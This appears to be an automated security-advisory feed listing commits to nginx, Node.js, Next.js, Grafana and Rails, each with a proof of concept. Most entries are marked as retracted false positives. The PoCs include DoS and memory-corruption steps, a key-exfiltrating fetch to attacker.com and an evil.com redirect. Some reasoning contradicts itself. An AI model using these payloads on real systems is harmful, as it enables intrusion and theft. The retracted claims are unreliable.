// First connection establishes session, second connection triggers resumeSession
// The thrown error becomes an uncaught exception, crashing the Node.js server

⚠️ MEDIUM VERIFIED Denial of Service (Request Handling Bypass)

Jun 17, 2026, 03:41 PM — vercel/next.js

Commit: f2ddd134e70fd66e411d829b45d4de581f1b66be

Author: Tim Neutkens

A non-RSC HTML request with the `Next-Router-Prefetch: 1` header set could cause the server to enter the partial prefetch tree path, produce a null active cache node, and suspend the HTML render indefinitely until a timeout occurred. This could be triggered by any external client sending crafted HTTP headers to a Next.js App Router application, effectively causing a denial of service by hanging render threads. The fix ensures prefetch routing headers are only respected when the request is also a valid RSC request.

🔍 View Affected Code & PoC

Affected Code

const isPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '1'
const isAppShellPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '3'
const isRuntimePrefetchRequest =
  headers[NEXT_ROUTER_PREFETCH_HEADER] === '2' || isAppShellPrefetchRequest
const isRSCRequest = isRSCRequestHeader(headers[RSC_HEADER])

Proof of Concept

curl -H 'Next-Router-Prefetch: 1' https://target-nextjs-app.example.com/

This causes the Next.js App Router server to treat the plain HTML request as a prefetch request, entering the partial prefetch tree path, producing a null active cache node, and hanging the render until timeout (effectively a DoS). A malicious actor can flood the server with such requests to exhaust render threads.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: 875750a4f76bf68189929f887951e02b66c99801

Author: Roman Arutyunyan

In nginx's HTTP/3 QPACK dynamic table implementation, the insert buffer was allocated using the current table capacity (`dt-&gt;capacity`) rather than the maximum table capacity (`h3scf-&gt;max_table_capacity`). Since the table capacity can be increased later via a Set Dynamic Table Capacity instruction, subsequent insertions into the dynamic table could write beyond the initially allocated buffer, leading to a heap buffer overflow. The fix allocates the buffer using the configured maximum table capacity upfront to prevent overflow.

🔍 View Affected Code & PoC

Affected Code

if (dt->insert_buffer == NULL) {
        dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
        if (dt->insert_buffer == NULL) {
            return NULL;
        }
    }

Proof of Concept

1. Connect to nginx server with HTTP/3 enabled.
2. Send a QPACK encoder stream with a Set Dynamic Table Capacity instruction that increases capacity beyond the initial value (e.g., set capacity to 4096 when it starts at 0 or a small value).
3. The insert_buffer is allocated at step of first use with dt->capacity (the current/initial capacity, possibly 0 or small).
4. Then send Insert Header Field instructions that together exceed the originally allocated buffer size but are within the new (larger) capacity.
5. This causes writes beyond the heap buffer boundary, potentially corrupting adjacent heap memory, leading to denial of service or remote code execution.
BREAKING

💣 CRITICAL VERIFIED Use-After-Free

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: ceccdbd2ee799d020a371b9420bdacb9cf273aa7

Author: Roman Arutyunyan

The insert buffer for HTTP/3 QPACK dynamic table was allocated from the encoder stream's memory pool (`c-&gt;pool`) rather than the parent connection's pool (`c-&gt;quic-&gt;parent-&gt;pool`). When the encoder stream was closed and a new encoder stream was opened, the old pool would be freed but `dt-&gt;insert_buffer` would still point into that freed memory, causing a use-after-free. An attacker can trigger this by closing and reopening the QUIC encoder stream while QPACK dynamic table insertions are in progress.

🔍 View Affected Code & PoC

Affected Code

dt->insert_buffer = ngx_create_temp_buf(c->pool,
                                                h3scf->max_table_capacity);

Proof of Concept

1. Establish an HTTP/3 connection to nginx.
2. Open the QPACK encoder stream and send some dynamic table insert instructions (e.g., Insert With Name Reference) to populate dt->insert_buffer allocated from the encoder stream pool.
3. Close the encoder stream (sending a FIN or RST_STREAM on the unidirectional encoder stream), causing its pool to be freed.
4. Open a new QPACK encoder stream on the same connection.
5. Send further encoder instructions — nginx will now use dt->insert_buffer which points into freed memory from the old stream pool, resulting in a use-after-free that can lead to memory corruption or remote code execution.
❌ Corrections & Retractions (59)

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, WebCrypto buffer overflow, credential exposure, HTTP/2 DoS, SNI case-sensitivity bypass, NUL byte hostname injection, TLS session hijacking, HTTP response queue poisoning

Commit: d001e26f406441b86c8b243b7b2a4212b850aa31

Author: Antoine du Hamel

This is a Node.js security release patching 11 CVEs across multiple components. The highest severity issues (High) include CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via mixed-case or encoded hostnames) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing out-of-bounds writes). Medium severity issues include session hijacking via reused TLS sessions not bound to authenticated host (CVE-2026-48934), case-sensitive SNI matching bypass (CVE-2026-48928), and NUL byte injection in hostnames (CVE-2026-48930).

🔍 View Affected Code & PoC

Affected Code

// TLS session reuse not bound to authenticated host (CVE-2026-48934)
// Sessions could be reused for a different host than the one authenticated
// SNI matching was case-sensitive (CVE-2026-48928)
// Hostnames with embedded NUL bytes were accepted (CVE-2026-48930)
// WebCrypto cipher output length unchecked (CVE-2026-48933)

Proof of Concept

// CVE-2026-48930: NUL byte hostname injection
const net = require('net');
net.createConnection({ host: 'legitimate.com\x00evil.com', port: 443 });
// Before patch: NUL byte would truncate hostname in C-level DNS resolution,
// causing connection to 'legitimate.com' at JS level but 'evil.com' at OS level

// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
tls.connect({ host: 'EVIL.COM', servername: 'legitimate.com' });
// Before patch: uppercase hostname would bypass identity check normalization

// CVE-2026-48934: TLS session reuse across hosts
// Connect to attacker.com, get session ticket, reuse for victim.com
const s1 = tls.connect({host:'attacker.com', port:443});
s1.on('session', (session) => {
  const s2 = tls.connect({host:'victim.com', port:443, session});
  // Before patch: session would be reused without host verification
});

🔥 HIGH FALSE POSITIVE TLS Session Resumption Host Verification Bypass

Commit: 140355e914f9e1f0b80781ed094d9c938b205b7e

Author: Matteo Collina

This commit adds regression tests for CVE-2020-8172, which was re-reported via HackerOne report #3649802. The vulnerability allows TLS session resumption to bypass hostname/certificate verification when connecting to a different server than the one the session was originally established with. When a TLS session ticket from a connection to 'agent1' (with its certificate) is reused for a connection to 'agent3' (with a different, unverifiable certificate), the session resumption skips the full TLS handshake and certificate verification, allowing the connection to succeed even though agent3's certificate cannot be verified against the provided CA.

🔍 View Affected Code & PoC

Affected Code

// In tls.connect() / https.get() / h2.connect():
// When session option is provided, TLS session resumption occurs
// and certificate verification for the NEW servername is bypassed
// because the resumed session skips the full handshake/cert exchange

Proof of Concept

// 1. First, establish a legitimate TLS connection to 'agent1' and capture the session ticket
const session1 = await connectAndCaptureSession({ port, host: '127.0.0.1', servername: 'agent1', ca: [ca1cert] });

// 2. Reuse that session ticket when connecting to 'agent3' (which has an unverifiable cert)
// BEFORE the fix: this succeeds (reused=true, authorized=true or bypasses rejectUnauthorized)
// AFTER the fix: this correctly rejects with UNABLE_TO_VERIFY_LEAF_SIGNATURE
const socket = await tls.connect({ port, host: '127.0.0.1', servername: 'agent3', session: session1, ca: [ca1cert], rejectUnauthorized: true });
// Attacker can now communicate with agent3 as if it were properly verified

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, WebCrypto output length, NUL byte injection, HTTP response queue poisoning, TLS session reuse, credential exposure

Commit: 26badaa6e15a6797710cbae21cfa717de5cf8527

Author: Antoine du Hamel

This is a Node.js security release (v22.23.0) patching 11 CVEs. The most severe include: CVE-2026-48618 (TLS hostname normalization bypass allowing MITM), CVE-2026-48933 (WebCrypto cipher output length not guarded allowing potential buffer overread), CVE-2026-48930 (NUL byte injection in DNS/net hostnames bypassing hostname validation), and CVE-2026-48934 (TLS sessions reused across different authenticated hosts). The patch adds hostname normalization, output length guards, NUL byte rejection, and binds TLS sessions to authenticated hosts.

🔍 View Affected Code & PoC

Affected Code

// TLS: hostname not normalized before server identity check - CAPITAL letters or trailing dots could bypass cert validation
// DNS/net: hostnames with embedded NUL bytes (e.g. 'evil.com\x00.good.com') passed through
// TLS: session reuse not bound to authenticated host, allowing session from host A to be reused for host B
// WebCrypto: cipher output buffer length not validated before use

Proof of Concept

// CVE-2026-48930: NUL byte injection in hostname
const dns = require('dns');
dns.lookup('attacker.com\x00.trusted.com', (err, addr) => { /* before patch: NUL truncates hostname in C layer, resolves attacker.com while appearing to resolve trusted.com */ });

// CVE-2026-48618: TLS hostname case bypass
const tls = require('tls');
// Certificate for 'example.com', connect with 'EXAMPLE.COM' - before patch identity check was case-sensitive or not normalized
tls.connect({host: 'EXAMPLE.COM', servername: 'EXAMPLE.COM'});

// CVE-2026-48934: TLS session reuse across hosts
// 1. Connect to attacker.com, get TLS session ticket
// 2. Reuse that session ticket when connecting to victim.com - before patch session was not bound to authenticated host

🔥 HIGH FALSE POSITIVE Multiple: TLS hostname normalization bypass, credential leakage, NUL byte injection, session hijacking, memory exhaustion, SNI case-sensitivity bypass

Commit: 4547bca84f8133c75d500feab48a1ec7d844aa94

Author: Antoine du Hamel

This is a Node.js security release (v24.17.0) that patches 11 CVEs. The highest severity issues (High) are CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via uppercase/punycode variants) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing buffer overflows or incorrect behavior). Additional Medium issues include TLS session reuse bound to wrong host (CVE-2026-48934), NUL byte injection in DNS/net hostnames (CVE-2026-48930), case-sensitive SNI matching bypass (CVE-2026-48928), and proxy credential leakage in tunnel errors (CVE-2026-48615).

🔍 View Affected Code & PoC

Affected Code

// CVE-2026-48618: TLS hostname not normalized before server identity check
// CVE-2026-48930: NUL bytes in hostnames not rejected
// CVE-2026-48934: TLS session reuse not bound to authenticated host
// CVE-2026-48928: SNI context matched case-sensitively

Proof of Concept

// CVE-2026-48930: NUL byte injection in DNS lookup
const dns = require('dns');
dns.lookup('evil.com\x00.trusted.com', (err, addr) => { /* Before patch, NUL byte not rejected, could cause C-level string truncation treating host as 'evil.com' */ });

// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
// Before patch: connecting to 'EXAMPLE.COM' or 'xn--...' punycode variant
// might bypass certificate identity verification
tls.connect({ host: 'EXAMPLE.COM', servername: 'example.com' });

// CVE-2026-48934: Session reuse to wrong host
// Before patch: a TLS session established with evil.com could be reused for trusted.com
const s = tls.connect({ host: 'evil.com' }, () => {
  const session = s.getSession();
  // Reuse session for different host - bypasses certificate verification
  tls.connect({ host: 'trusted.com', session });
});

💣 CRITICAL FALSE POSITIVE Use-After-Free / Heap Buffer Overflow

Commit: 2fd01ed47a1fd2965754c83f53b33a789d0e07f1

Author: Sergey Kandaurov

This release patches multiple security vulnerabilities in nginx 1.31.2, including a use-after-free in HTTP/3 QUIC session handling (CVE-2026-42530) that allows worker process memory corruption or segfault, a heap buffer overflow when proxying requests with 'ignore_invalid_headers off' and large 'large_client_header_buffers' values to HTTP/2 or gRPC backends (CVE-2026-42055), and a heap buffer overread in charset_map UTF-8 decoding (CVE-2026-48142). These vulnerabilities allow remote attackers to corrupt worker process memory or cause denial of service, with potential for arbitrary code execution.

🔍 View Affected Code & PoC

Affected Code

HTTP/3 QUIC session handling code (use-after-free), HTTP/2 upstream header processing with ignore_invalid_headers off (heap overflow), charset_map UTF-8 decode path (heap overread) - specific source files not shown in diff but referenced by CVE-2026-42530, CVE-2026-42055, CVE-2026-48142

Proof of Concept

CVE-2026-42055 PoC: Configure nginx with 'ignore_invalid_headers off; large_client_header_buffers 4 256k;' and proxy_pass to HTTP/2 backend. Send: curl -k --http2 https://target/ -H "$(python3 -c 'print("X-" + "A"*65536)'):value" -- this crafts an oversized header that triggers heap overflow when copied into upstream HTTP/2 request buffer. CVE-2026-42530 PoC: Send a specially crafted QUIC session to the HTTP/3 listener that triggers object reuse after free during connection teardown, e.g., using a QUIC fuzzer that sends RESET_STREAM followed by STREAM frames referencing the freed stream object.

⚠️ MEDIUM FALSE POSITIVE Improper Input Validation

Commit: dbaf45cfbef54d97015479be586d0409d2646e4c

Author: Filip Skokan

Before the patch, the `aliasKeyFormat` function treated all raw format aliases (`raw-public` and `raw-secret`) identically, allowing any alias to be used for any algorithm. This meant that `raw-secret` format could be used to import public keys for ECDSA/ECDH/Ed25519/X25519, and `raw-public` format could be used to import secret keys for HKDF/PBKDF2, bypassing intended format restrictions. The patch makes the alias resolution directional, so each algorithm only accepts its specific valid alias.

🔍 View Affected Code & PoC

Affected Code

function aliasKeyFormat(format) {
  switch (format) {
    case 'raw-public':
    case 'raw-secret':
      return 'raw';
    default:
      return format;
  }
}

Proof of Concept

// Before the patch, this would succeed when it should fail:
const { subtle } = globalThis.crypto;
// Import a public ECDSA key using 'raw-secret' format (should be rejected)
const { publicKey } = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']);
const keyData = await subtle.exportKey('raw', publicKey);
// This should throw NotSupportedError but before the patch it succeeded:
const importedKey = await subtle.importKey('raw-secret', keyData, { name: 'ECDSA', namedCurve: 'P-256' }, true, ['verify']);
// Similarly, importing HKDF secret using 'raw-public':
const secretData = new Uint8Array(32);
const hkdfKey = await subtle.importKey('raw-public', secretData, 'HKDF', false, ['deriveBits']); // should fail but didn't

🔥 HIGH FALSE POSITIVE Authorization Bypass / Cache Poisoning

Commit: 99631827e2ab93f23ea62802bbb84d9a2307ba06

Author: Mihai Turdean

The List response helpers (typedObjects, genericObjects, folderObject) mutated the input slice in-place by stripping the object-type prefix from the shared cache entry. When CheckQueryCacheEnabled (the default) was active, a List call would corrupt the cached ListObjectsResponse so that subsequent BatchCheck calls — which rely on full typed idents like 'folder:&lt;uid&gt;' for membership lookups — would fail to match and incorrectly deny access to resources the user was directly authorized to access. The patch fixes this by allocating a new output slice instead of mutating the cached input.

🔍 View Affected Code & PoC

Affected Code

func typedObjects(typ string, objects []string) []string {
	prefix := typ + ":"
	for i := range objects {
		objects[i] = strings.TrimPrefix(objects[i], prefix) // mutates the cached slice
	}
	return objects
}

Proof of Concept

1. User:1 has a direct role grant on dashboard '1' (resource:dashboard.grafana.app/dashboards/1).
2. Call List(subject='user:1', group='dashboard.grafana.app', resource='dashboards') — this populates the query cache with full idents, then strips them in-place, corrupting the cached entry to bare ids like '1' instead of 'resource:dashboard.grafana.app/dashboards/1'.
3. Call BatchCheck(subject='user:1', checks=[{verb='get', group='dashboard.grafana.app', resource='dashboards', name='1'}]) — this hits the cache, tries to match 'resource:dashboard.grafana.app/dashboards/1' against the now-corrupted '1' entries, fails the membership lookup, and returns allowed=false even though the user has direct access.
Result: User:1 is incorrectly denied access to dashboard '1' after any prior List call.

🔥 HIGH FALSE POSITIVE Incorrect Authorization / Mass Data Modification

Commit: f82d5692c45fc7d248724b7fc895a6c842e766a4

Author: Kenta Ishizaki

When calling `update_all` or `delete_all` on a Rails ActiveRecord relation that uses `group`/`having` but no `joins`, `limit`, `offset`, or `order`, the HAVING clause was silently dropped. The base Arel visitor's `prepare_update_statement` only checked `has_limit_or_offset_or_orders?` and `has_join_sources?` before deciding whether to wrap in a subquery, missing `has_group_by_and_having?`. This caused the generated SQL to omit the HAVING filter entirely, resulting in ALL rows being updated or deleted instead of only those matching the HAVING condition. The patch adds `has_group_by_and_having?` to the condition so the primary-key subquery rewrite is applied, properly restricting affected rows.

🔍 View Affected Code & PoC

Affected Code

def prepare_update_statement(o)
  if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))

Proof of Concept

# Assume Post table has rows: (id:1, title:'low', legacy_comments_count:0), (id:2, title:'mid', legacy_comments_count:3), (id:3, title:'high', legacy_comments_count:9)
# Expected: only posts with MAX(legacy_comments_count) >= 3 (ids 2 and 3) should be updated
Post.where(id: [1,2,3]).group('posts.id').having('MAX(legacy_comments_count) >= 3').update_all(title: 'updated')
# BEFORE patch: emits 'UPDATE posts SET title = ? WHERE id IN (1,2,3)' -- ALL three rows updated including id:1
# AFTER patch: emits 'UPDATE posts SET title = ? WHERE id IN (SELECT id FROM posts WHERE id IN (1,2,3) GROUP BY posts.id HAVING MAX(legacy_comments_count) >= 3)' -- only ids 2 and 3 updated
# An attacker or misconfigured application code that intends to bulk-update only a filtered subset silently corrupts ALL matching rows, leading to unintended mass data modification.

⚠️ MEDIUM FALSE POSITIVE HTTP Header Injection (CRLF Injection)

Commit: 2e70ffaf76981fefd4b413e16a1b348a9273c6db

Author: Yuri Tseretyan

Before the patch, metadata values from alert rule labels were URL-encoded and placed directly into HTTP headers without stripping control characters (including CR `\\r` and LF `\\n`). An attacker who could control alert rule labels (e.g., via a plugin-originated rule) could inject arbitrary HTTP headers into datasource eval requests by embedding CRLF sequences in label values. The patch adds `sanitizeHeaderValue()` which strips all ASCII control characters (&lt; 0x20 and 0x7F) before encoding, preventing header injection.

🔍 View Affected Code & PoC

Affected Code

headers[fmt.Sprintf("http_X-Rule-%s", key)] = url.QueryEscape(value)

Proof of Concept

Set an alert rule label value to: `legitimate-value\r\nX-Injected-Header: malicious` — before the patch, this would be passed through url.QueryEscape which encodes spaces but NOT CR/LF (since %0D%0A are valid percent-encoded but the raw bytes \r\n in the string would not be encoded by url.QueryEscape if already present as literal bytes in Go string). Actually, since url.QueryEscape does encode \r and \n, the more precise attack vector is via other control characters below 0x20 that could corrupt the header value, or through the Origin metadata key being set to `plugin/grafana-slo-app\r\nX-Injected: evil` which would be inserted as `http_X-Rule-Origin: plugin/grafana-slo-app\r\nX-Injected: evil` in the headers map before being forwarded to the datasource backend.

⚠️ MEDIUM FALSE POSITIVE Buffer Over-read / Infinite Loop leading to Memory Corruption

Commit: 2c5ee792f5d37d951b86c24db37035705a1b0c46

Author: Joe Orton

The bug in `send_request` used `remain` (the original chunk size) instead of `wlen` (the actual bytes sent) to advance the write buffer pointer. When `apr_socket_send` performed a partial write (sending fewer bytes than requested), the pointer would advance past the already-sent data by `remain` bytes instead of `wlen` bytes, causing subsequent sends to read from the wrong memory location — potentially sending uninitialized or out-of-bounds memory to the OCSP responder, or causing an infinite loop if wlen is 0. This could lead to information disclosure (sending heap/stack memory contents to a remote OCSP server) or a denial of service.

🔍 View Affected Code & PoC

Affected Code

rv = apr_socket_send(sd, wbuf, &wlen);
wbuf += remain;  // BUG: should be wbuf += wlen
remain -= wlen;

Proof of Concept

Trigger a partial write scenario by configuring a slow/congested OCSP responder that causes apr_socket_send() to return APR_SUCCESS with wlen < remain (partial send). In this case: if remain=1000 and wlen=500, wbuf advances by 1000 instead of 500, skipping 500 bytes of the request body. The OCSP server receives garbled/truncated request data drawn from adjacent heap memory. An attacker controlling the OCSP responder endpoint (via DNS manipulation or MITM on the OCSP URL) could observe the leaked memory contents from the httpd process heap.

⚠️ MEDIUM FALSE POSITIVE Uninitialized Memory Read / NULL Pointer Dereference

Commit: 458c37b019c8c9a88124b591ca398267e7d784b0

Author: Nora Dossche

When deflateInit2() fails with Z_VERSION_ERROR (e.g., due to a zlib version mismatch between compile-time and runtime), the zlib library does not initialize the strm_.msg field to NULL. Node.js's error handling code then reads this uninitialized pointer as a C string, causing a crash (SIGSEGV/segfault). The fix initializes strm_.msg to nullptr before the switch statement so that error emission is safe even when initialization fails with Z_VERSION_ERROR.

🔍 View Affected Code & PoC

Affected Code

switch (mode_) {
    case DEFLATE:
    case GZIP:
    // ... deflateInit2() called, on Z_VERSION_ERROR strm_.msg is uninitialized
    // ErrorForMessage() then reads strm_.msg as a C string -> crash

Proof of Concept

// Trigger by running Node.js built against one version of zlib but loading a different zlib version at runtime
// In a test environment with mismatched zlib:
const zlib = require('zlib');
// Attempting to create a Deflate stream triggers deflateInit2() which returns Z_VERSION_ERROR
// Node then tries to emit the error using strm_.msg (uninitialized pointer) -> SIGSEGV
const deflate = zlib.createDeflate();
// Process crashes with: AddressSanitizer: SEGV on unknown address in __strlen_avx2

⚠️ MEDIUM FALSE POSITIVE Open Redirect

Commit: bc384860d5f0b77a3cab9769ca4b1a0d7f5ce2fe

Author: Joseph

The documentation example code for a session token exchange endpoint contained an open redirect vulnerability. The `redirect_url` query parameter was passed directly to `new URL()` and used as the redirect destination without validating that the destination was the same origin, allowing attackers to redirect users to arbitrary external URLs after setting a session cookie. The patch adds an origin check that returns a 400 error if the destination origin differs from the request origin.

🔍 View Affected Code & PoC

Affected Code

const response = NextResponse.redirect(new URL(redirectUrl, request.url))

response.cookies.set({
  value: token,

Proof of Concept

GET /api/auth/callback?session_token=VALID_TOKEN&redirect_url=https://evil.com

This causes the server to set the session cookie and then redirect the user to https://evil.com, enabling phishing attacks or credential/token theft after authentication.

⚠️ MEDIUM FALSE POSITIVE Uncontrolled Recursion / Stack Overflow

Commit: 40586837cbd30ad814d10bae5b38c5dbe5b4f9f6

Author: Renato Costa

The dashboard summary parser had unbounded recursion when processing deeply nested `spec` or `panels` fields in dashboard JSON. An attacker could craft a dashboard JSON with deeply nested `spec` objects or `panels` arrays to cause a stack overflow or excessive CPU/memory consumption during dashboard indexing/search operations. The patch limits `spec` nesting to 1 level and `panels` nesting to 4 levels deep.

🔍 View Affected Code & PoC

Affected Code

case "spec":
    return readDashboardIter(jsonPath+".spec", iter, lookup, lc)

// and in readpanelInfo:
p, ok := readpanelInfo(iter, lookup, fmt.Sprintf("%s.panels[%d]", jsonPath, ix), lc)

Proof of Concept

Submit a dashboard JSON with 10000 levels of nested spec: {"spec":{"spec":{"spec":...{"title":"deep"}...}}} via the Grafana dashboard save API. Before the patch, this would cause unbounded recursive function calls in readDashboardIter, leading to a goroutine stack overflow and crashing the Grafana backend process.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Denial of Service

Commit: 1e02b489120b02f346c77188039b9c167329a260

Author: Renato Costa

Before the patch, the List and Watch handlers in the resource server would panic (crash) if a request was received with a nil Options or nil Options.Key field. Specifically, `span.SetAttributes(attribute.String("group", req.Options.Key.Group), ...)` would dereference a nil pointer if `req.Options` or `req.Options.Key` was nil. The patch adds early validation checks before these dereferences to return a proper gRPC InvalidArgument error instead of crashing.

🔍 View Affected Code & PoC

Affected Code

func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) {
	ctx, span := tracer.Start(ctx, "resource.server.List")
	span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource))
	defer span.End()

Proof of Concept

// Send a ListRequest with nil Options to crash the server:
client.List(ctx, &resourcepb.ListRequest{}) // req.Options is nil, causes nil pointer dereference at req.Options.Key.Group
// Or send with nil Key:
client.List(ctx, &resourcepb.ListRequest{Options: &resourcepb.ListOptions{}}) // req.Options.Key is nil, same crash

⚠️ MEDIUM FALSE POSITIVE Header/Trailer Injection

Commit: 671ee0cfbf9f20f997ec80fb1687cd77b8f510bd

Author: Roberto Jiménez Sánchez

Before the patch, user-controlled fields (userName, userLogin, userEmail) were interpolated directly into git commit messages without sanitizing newline characters. An attacker with a Grafana account could set their display name or login to contain CR/LF sequences, forging additional git trailers (e.g., 'Signed-off-by:', 'Co-authored-by:') in the resulting commit message. The patch sanitizes these fields by collapsing any CR/LF to a single space before interpolation.

🔍 View Affected Code & PoC

Affected Code

// No sanitization before interpolation into commit message template
// and before building the Grafana-saved-by trailer
const trailer = `Grafana-saved-by: ${userName} (${userLogin})`;
// userName/userLogin/userEmail came directly from user profile without stripping newlines

Proof of Concept

Set Grafana user display name to: 'Ada Lovelace\n\nGrafana-saved-by: root (admin)\nSigned-off-by: [email protected]'
When a dashboard is saved, the resulting git commit message would contain:

Save dashboard: Test

Grafana-saved-by: Ada Lovelace

Grafana-saved-by: root (admin)
Signed-off-by: [email protected]

This forges additional git trailers attributing the commit to arbitrary identities.

🔥 HIGH FALSE POSITIVE Missing Authorization / Broken Access Control

Commit: 5353666ef455160905c75227fda7c057b201661d

Author: Rafael Bortolon Paulovic

Five gRPC RPCs on the unified-storage resource server (PutBlob, GetBlob, ListManagedObjects, CountManagedObjects, RebuildIndexes) had no authorization checks of their own, relying entirely on upstream callers to enforce access control. In deployments where the gRPC surface is reachable directly (e.g., misconfigured network policy or internal service-mesh bypass), any authenticated user could read/write blobs and managed-object indexes across arbitrary namespaces without restriction. The patch adds namespace-matching guards and an access.Check call on PutBlob to enforce authorization at the RPC layer itself.

🔍 View Affected Code & PoC

Affected Code

func (s *server) PutBlob(ctx context.Context, req *resourcepb.PutBlobRequest) (*resourcepb.PutBlobResponse, error) {
	if s.blob == nil {
		return &resourcepb.PutBlobResponse{Error: &resourcepb.ErrorResult{
			Message: "blob store not configured",
			Code:    http.StatusNotImplemented,
		}}, nil
	}
	rsp, err := s.blob.PutResourceBlob(ctx, req)
	...

Proof of Concept

# Direct gRPC call without a valid namespace-matching user identity:
grpcurl -plaintext -d '{"resource":{"group":"playlist.grafana.app","resource":"playlists","namespace":"victim-org","name":"target"},"method":0,"content_type":"image/png","value":"AAAA"}' storage-server:10000 resource.BlobStore/PutBlob
# Before the patch: succeeds and overwrites the victim org's blob with no authz check.
# After the patch: returns HTTP 401 (no user in ctx) or 403 (namespace mismatch).

🔥 HIGH FALSE POSITIVE Use-After-Free / Memory Safety (Unsound Lifetime Transmutation)

Commit: 1b77dba691ef7320ce3ff293955948fce961708c

Author: Tobias Koppers

The previous `IntoIterator` impl for `ReadRef&lt;T&gt;` used `transmute_copy` to fabricate `&'static`-typed item references, allowing those references to outlive the `ReadRef` that owned the backing storage. When the `ReadRef` was dropped (e.g., after a `try_join` or intermediate `Drop`), any stashed references became dangling, constituting a use-after-free. This was exploited by turbo-tasks cell eviction releasing underlying storage, causing memory corruption observable as panics with impossible string lengths during JSON serialization.

🔍 View Affected Code & PoC

Affected Code

// Old impl used transmute_copy to produce &'static references:
// Iterator::Item = &'static I, allowing references to escape
// the iterator and outlive the ReadRef's backing Arc storage.
// References stashed in futures/Vecs/map keys after ReadRef dropped.

Proof of Concept

In `project_asset_hashes_manifest.rs`, the old code called `output_assets.into_iter()` which yielded `&'static RcStr` references (via transmute). These were stored in `asset_paths` while `output_assets` ReadRef was consumed. After a `try_join` dropped the iterator/ReadRef, turbo-tasks cell eviction could free the backing `Arc`. Accessing `asset_paths` during JSON serialization then read freed memory, producing: `panicked at turbopack/crates/turbo-rcstr/src/lib.rs:132:52: range end index 13 out of range for slice of length 7` — `len=13` is impossible for a valid inline RcStr (max 7), proving the byte was read from freed/reused memory.

🔥 HIGH FALSE POSITIVE Resource Exhaustion / Denial of Service (Slowloris-style attack)

Commit: 866caa61f3b8f3a6f4f3e0ebb28ced0953ef3431

Author: James M Snell

Before this patch, peer-initiated QUIC streams had no idle timeout mechanism. A remote attacker could open many streams without sending any data, holding server resources (memory, stream state) indefinitely. This is a slowloris-style resource exhaustion attack. The patch adds a configurable `streamIdleTimeout` (defaulting to 30 seconds) that automatically destroys peer-initiated streams that have been idle beyond the timeout threshold.

🔍 View Affected Code & PoC

Affected Code

// No stream idle timeout existed. Peer-initiated streams could remain open indefinitely with no data sent, consuming server resources without bound.

Proof of Concept

// Attacker opens many QUIC streams and never sends data:
import quic from 'node:quic';
const client = await quic.connect({ address: 'victim-server', port: 4433 });
// Open thousands of streams but never write to them:
for (let i = 0; i < 10000; i++) {
  const stream = await client.createBidirectionalStream();
  // Never write to stream — server holds resources forever (pre-patch)
  // Post-patch: server destroys stream after 30s idle timeout
}

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: dfe2d47fe1e12b7935983e60ccea946c5ba3f529

Author: Filip Skokan

Before the patch, Node.js WebCrypto operations were vulnerable to prototype pollution attacks. An attacker could mutate built-in prototypes (e.g., Object.prototype.then, Promise constructor) to intercept or redirect WebCrypto promise resolutions, exfiltrate key material through JWK toJSON hooks, or manipulate intermediate results. The patch hardens the code by avoiding PromiseResolve() re-wrapping (which reads user-mutable constructors), using internal UTF-8 encoding bindings instead of shared TextEncoder/TextDecoder, and detaching JWK objects from user prototypes via null prototype assignment before processing.

🔍 View Affected Code & PoC

Affected Code

function callSubtleCryptoMethod(fn, receiver, args) {
  try {
    return PromiseResolve(ReflectApply(fn, receiver, args));
  } catch (err) {
    return PromiseReject(err);
  }
}

Proof of Concept

// Proof of concept: intercept WebCrypto key export via prototype pollution
const { subtle } = globalThis.crypto;

// Pollute Object.prototype.then to intercept thenable assimilation
Object.prototype.then = function(resolve) {
  console.log('Intercepted WebCrypto result:', JSON.stringify(this));
  resolve(this);
};

// Or pollute toJSON to exfiltrate JWK key material during wrapKey
Object.prototype.toJSON = function() {
  // exfiltrate key material
  fetch('https://attacker.com/steal?key=' + JSON.stringify(this));
  return this;
};

// Now any WebCrypto operation returning an object would trigger the hook
subtle.generateKey({name: 'AES-GCM', length: 256}, true, ['encrypt', 'decrypt'])
  .then(key => subtle.exportKey('jwk', key))
  .then(jwk => console.log('key exfiltrated'));
// Before patch: toJSON on exported JWK object could leak key data
// Before patch: inherited 'then' on result objects could redirect promise resolution

🔥 HIGH FALSE POSITIVE Race Condition / Lock Bypass

Commit: 0b99f0b9b1b90c359807a405aadc9a3a4e4765de

Author: Rafael Mendonça França

Under `config.active_support.isolation_level = :fiber`, the ShareLock keyed ownership on `Thread.current` instead of the current fiber/execution context. Since all request fibers on a fiber-scheduled server (e.g., Falcon) share the same thread, the lock treated all concurrent request fibers as a single owner. This allowed the reloader's exclusive `:unload` lock to be acquired while another request fiber still held a share lock, causing autoloaded constants to be cleared mid-request. The patch fixes this by keying ownership on `ActiveSupport::IsolatedExecutionState.context` which correctly distinguishes fibers under fiber isolation.

🔍 View Affected Code & PoC

Affected Code

def start_exclusive(purpose: nil, compatible: [], no_wait: false)
  synchronize do
    unless @exclusive_thread == Thread.current
      if busy_for_exclusive?(purpose)
        return false if no_wait

Proof of Concept

# With config.active_support.isolation_level = :fiber and a fiber-aware server:
# Fiber A (request fiber on Thread-1): acquires share lock via interlock.running
# Fiber B (reloader fiber on Thread-1): calls interlock.unload (exclusive lock)
# 
# Before patch: @exclusive_thread check uses Thread.current, which is Thread-1 for BOTH fibers
# busy_for_exclusive? checks @sharing[Thread.current] which counts shares for Thread-1
